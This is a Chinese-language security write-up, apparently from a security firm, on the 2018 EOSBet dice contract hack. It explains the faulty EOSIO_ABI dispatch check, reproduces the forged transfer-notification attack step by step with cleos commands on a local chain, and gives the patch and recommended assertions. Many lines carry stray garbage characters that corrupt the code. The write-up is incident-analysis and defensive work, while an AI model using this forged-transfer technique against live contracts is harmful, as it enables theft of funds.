文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis
0x00 背景
EOSBet在9月14日遭到黑客攻击,根据EOSBet官方通告,此次攻击共被盗44,427.4302 EOS(折合人民币160万,9月14日价格)。
0x01 技术分析
由于EOSBet代码并未开源,但官方复盘攻击事件后给出了EOSIO_ABI
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers8 k; Z3 V4 I2 n! m
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \9 q6 A, s& L/ R
extern "C" { \$ ~. G9 z! c/ X. l/ \- {
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \4 H6 a0 M( o3 A3 V
if( action == N(onerror)) { \
/* onerror is only valid if it is for the "eosio" code account and authorized by "eosio"'s "active permission */ \8 ~8 p6 p% j- P% D( z
eosio_assert(code == N(eosio), "onerror action's are only valid from the \"eosio\" system account"); \
} \
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \& J* h, M2 Z* J/ N
TYPE thiscontract( self ); \
switch( action ) { \) Y1 M _) Q: r, ]
EOSIO_API( TYPE, MEMBERS ) \
} \, J( d: ]! w7 x1 ^
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \+ g' v* ?2 I, K! `" e% s4 K
} \5 u1 U. r5 h, i: K2 O8 T8 P; Z6 Q
} \
}# V& K3 _. r" U5 p8 Z
通过官方给出的EOSIO_ABI,问题主要出在以下代码
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \$ _/ p0 k$ T- ]1 O- @
TYPE thiscontract( self ); \
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \; b$ A. i; t q
} \
}
该合约对action进行转发的时候仅仅验证了code == self(调用者必须是该合约本身,即eosbetdice11)和code == N(eosio.token)(调用者必须是eosio.token)。从这里看似乎是验证了只有合约本身和eosio.token可以调用合约函数。
但是,开发者忽略了这一点。如果A合约直接向B合约发起一个transaction调用B合约的函数,那么本质上是B合约自身完成函数调用,也就是说任何合约都可以调用eosbetdice11合约中abi暴露的函数。: g! A1 K8 b$ _( ~0 f
黑客可以直接调用eosbetdice11合约中的transfer函数,即不用消耗任何EOS来玩EOSBet,输了不赔赢了稳赚。
0x02 攻击复盘& b0 q, B) v5 H: |5 I( Z
创建eosio.token账户
cleos create account eosio eosio.token EOS6MRyAjQq8ud7hVNYcfnVPJqcVpscN5So8BhtHuGYqET5GDW5CV( H! S. J4 Y& [
部署eosio.token合约并初始化
# 部署合约
cleos set contract eosio.token /home/user/contracts/eosio.token -p eosio
# 初始化合约) I4 w: S% H* ^' Q; N
cleos push action eosio.token create '[ "eosio", "1000000000.0000 EOS", 0, 0, 0]' -p eosio.token1 n) l; {& B0 f, F
创建游戏账户、开奖账户和攻击者账户8 {: X+ ?; h# C, S" s3 x
#创建游戏账户和开奖账户
cleos create account eosio eosbetdice11 EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk! q; F8 f4 O" u; w
cleos create account eosio eosbetcasino EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk+ o3 d1 g5 d {, l2 _4 X
#创建攻击者账户6 ^1 q r% X1 w% B T
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
设置账户随机权限和开奖权限( Q' K2 v7 h1 T
#设置权限
cleos set account permission eosbetdice11 active '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[{"permission":{"actor":"eosbetdice11","permission":"eosio.code"},"weight":1}]}' owner -p eosbetdice11@owner: ^- r( _; Y+ F* r- j
cleos set account permission eosbetcasino random '{"threshold": 1,"keys": [{"key": "EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk","weight": 1}],"accounts":[]}' owner -p eosbetcasino@owner) s8 U9 H6 |( {+ w* }: O3 B. W5 I
#设置开奖权限
cleos set action permission eosbetcasino eosbetdice11 resolvebet random
向相关账户冲入代币$ h% r2 e/ g! O# R1 c
#往相关账户充值
cleos push action eosio.token issue '["attacker", "100000.0000 EOS", "memo"]' -p eosio@active$ J! T6 H; ^# K9 T# {" g; t
cleos push action eosio.token issue '["eosbetdice11", "100000.0000 EOS", "memo"]' -p eosio@active7 ]5 x1 N4 u0 X6 Q6 f4 P% O

部署游戏合约并初始化
#部署游戏合约% T6 e( |9 j/ X" @+ z5 l
cleos set contract eosbetdice11 /home/user/contracts/eosbetdice+ r, S( p" A- a/ e% u% G- j4 e! R) H
#初始化游戏合约
cleos push action eosbetdice11 initcontract '{"randomness_key":"EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk"}' -p eosbetcasino
模拟黑客攻击(伪造转账通知)
cleos push action eosbetdice11 transfer '["attacker", "eosbetdice11", "10.0000 EOS", "66-attacker-"]' -p attacker
查询游戏订单1 c; j" s$ s* {# X% E( Z
cleos get table eosbetdice11 eosbetdice11 activebets6 w/ B: ^2 \& B! z
可见,游戏订单已经生成,查询attacker和eosbetdice11账户, f6 Z# `0 r; Q/ v
按照游戏规则,只有在支付了EOS后才能生成游戏,但是被黑客攻击后生成订单并没有消耗任何的EOS。
最后对该订单进行开奖。7 v( X" t% L+ n$ {' V, R! c/ ?! g; N
cleos push action eosbetdice11 resolvebet '{"bet_id":"237902368081510060", "sig":"SIG_K1_K862MEbB45rMi9bvYRPbqA9F6tbrte9osUbZk3fUXXvsnf3zQRNdyYrunc4zhyQWUho2a4meho1k8kNvnrLLYdW1ge8kD1"}' -j -p eosbetcasino@random7 P! m: ?: F+ U. C2 w- U! q9 ~
3 ^' g1 b R2 w$ _/ W
总结,黑客伪造转账通知来玩游戏不消耗任何EOS,游戏成功即可获利,即使最后游戏失败也不会有任何损失。
0x03 后记2 ?) m8 D/ G: f! i6 W
EOSBet随后将修复方案公开
// extend from EOSIO_ABI, because we need to listen to incoming eosio.token transfers0 ~# u S# s7 f! e/ @. M: B
#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \4 [& U R+ {1 m- l6 m1 S1 {3 b
auto self = receiver; \4 ?+ k8 t% s! C* Y; h
if( code == self || code == N(eosio.token)) { \3 p0 w% H, j3 j
if( action == N(transfer)){ \6 _) y% K& h* V
// 必须是eosio.token来调用合约自身的transfer函数3 L, s9 F& M2 K: ~
eosio_assert( code == N(eosio.token), "Must transfer EOS"); \6 v* M0 R! ^: H, u2 ]8 m9 y
} \- X0 p- {6 G4 |
TYPE thiscontract( self ); \
switch( action ) { \1 o5 C0 }5 `" z! G1 _; B# J
EOSIO_API( TYPE, MEMBERS ) \
} \
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \, L) j9 ~; ]5 O! E- C$ w
} \7 I; ]! [4 U/ u4 B7 E9 {. K
} \5 {: w9 U7 m* p% M: k/ [
}/ z6 O+ l# D, N" K! B$ Y4 e9 Z
可以看到,EOSBet官方给出的修复方案是仅有eosio.token合约可以调用transfer函数。官方修复后将代码开源到Gitlab,地址为https://gitlab.com/EOSBetCasino/eosbetdice_public,但是在整整一个月后又遭到了转账通知伪造攻击。欲知详情,请听下回分解:D
0x04 修复方案6 L2 C) K2 s# R+ v9 ~- k: d
零时科技安全专家建议,要防止转账通知伪造必须在处理转账交易时要验证以下内容:9 s Z6 b1 ~. r
: P2 F8 `4 H; |! ^ D
通知是否来自eosio.token,即只处理eosio.token发送的通知4 l9 U* }7 Q/ y/ T0 w+ T0 G
eosio_assert(code == N(eosio.token), "Must transfer from eosio.token");+ W! y9 c6 F- h1 H; C
+ F. w- c0 n9 P: A6 x/ S# ~
转账发起人或者接受人是否是自己,即转账必须跟合约本身有关,不处理其他合约的转账通知1 j& O" ` L) V
eosio_assert(transfer.from == _self || transfer.to == _self, "Must transfer from self or transfer to self");